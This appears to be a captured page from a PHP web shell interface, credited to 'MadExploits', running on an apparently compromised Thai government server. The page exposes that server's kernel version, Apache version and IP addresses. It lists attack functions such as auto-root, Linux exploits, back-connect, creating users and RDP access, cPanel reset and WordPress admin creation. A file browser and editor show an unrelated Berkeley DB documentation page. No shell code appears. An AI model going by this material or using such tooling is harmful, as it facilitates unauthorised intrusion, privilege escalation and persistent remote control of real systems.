Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
db4-devel-4.7.25 /
ref /
lock /
[ HOME SHELL ]
Name
Size
Permission
Action
am_conv.html
8.93
KB
-rw-r--r--
cam_conv.html
3.27
KB
-rw-r--r--
config.html
3.34
KB
-rw-r--r--
dead.html
5.89
KB
-rw-r--r--
deaddbg.html
8.95
KB
-rw-r--r--
intro.html
9.32
KB
-rw-r--r--
max.html
7.98
KB
-rw-r--r--
nondb.html
3.54
KB
-rw-r--r--
notxn.html
3.23
KB
-rw-r--r--
page.html
4.49
KB
-rw-r--r--
stdmode.html
3.24
KB
-rw-r--r--
timeout.html
4.91
KB
-rw-r--r--
twopl.html
3.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cam_conv.html
<!--$Id: cam_conv.so,v 10.15 2007/10/26 15:02:17 bostic Exp $--> <!--Copyright (c) 1997,2008 Oracle. All rights reserved.--> <!--See the file LICENSE for redistribution information.--> <html> <head> <title>Berkeley DB Reference Guide: Berkeley DB Concurrent Data Store locking conventions</title> <meta name="description" content="Berkeley DB: An embedded database programmatic toolkit."> <meta name="keywords" content="embedded,database,programmatic,toolkit,btree,hash,hashing,transaction,transactions,locking,logging,access method,access methods,Java,C,C++"> </head> <body bgcolor=white> <a name="2"><!--meow--></a> <table width="100%"><tr valign=top> <td><b><dl><dt>Berkeley DB Reference Guide:<dd>Locking Subsystem</dl></b></td> <td align=right><a href="../lock/twopl.html"><img src="../../images/prev.gif" alt="Prev"></a><a href="../toc.html"><img src="../../images/ref.gif" alt="Ref"></a><a href="../lock/am_conv.html"><img src="../../images/next.gif" alt="Next"></a> </td></tr></table> <p align=center><b>Berkeley DB Concurrent Data Store locking conventions</b></p> <p>The Berkeley DB Concurrent Data Store product has a simple set of conventions for locking. It provides multiple-reader/single-writer semantics, but not per-page locking or transaction recoverability. As such, it does its locking entirely in the Berkeley DB interface layer.</p> <p>The object it locks is the file, identified by its unique file number. The locking matrix is not one of the two standard lock modes, instead, we use a four-lock set, consisting of the following:</p> <br> <b>DB_LOCK_NG</b><ul compact><li>not granted (always 0)</ul> <b>DB_LOCK_READ</b><ul compact><li>read (shared)</ul> <b>DB_LOCK_WRITE</b><ul compact><li>write (exclusive)</ul> <b>DB_LOCK_IWRITE</b><ul compact><li>intention-to-write (shared with NG and READ, but conflicts with WRITE and IWRITE)</ul> <br> <p>The IWRITE lock is used for cursors that will be used for updating (IWRITE locks are implicitly obtained for write operations through the Berkeley DB handles, for example, <a href="../../api_c/db_put.html">DB->put</a> or <a href="../../api_c/db_del.html">DB->del</a>). While the cursor is reading, the IWRITE lock is held; but as soon as the cursor is about to modify the database, the IWRITE is upgraded to a WRITE lock. This upgrade blocks until all readers have exited the database. Because only one IWRITE lock is allowed at any one time, no two cursors can ever try to upgrade to a WRITE lock at the same time, and therefore deadlocks are prevented, which is essential because Berkeley DB Concurrent Data Store does not include deadlock detection and recovery.</p> <p>Applications that need to lock compatibly with Berkeley DB Concurrent Data Store must obey the following rules:</p> <ol> <p><li>Use only lock modes DB_LOCK_NG, DB_LOCK_READ, DB_LOCK_WRITE, DB_LOCK_IWRITE. <p><li>Never attempt to acquire a WRITE lock on an object that is already locked with a READ lock. </ol> <table width="100%"><tr><td><br></td><td align=right><a href="../lock/twopl.html"><img src="../../images/prev.gif" alt="Prev"></a><a href="../toc.html"><img src="../../images/ref.gif" alt="Ref"></a><a href="../lock/am_conv.html"><img src="../../images/next.gif" alt="Next"></a> </td></tr></table> <p><font size=1>Copyright (c) 1996,2008 Oracle. All rights reserved.</font> </body> </html>
Close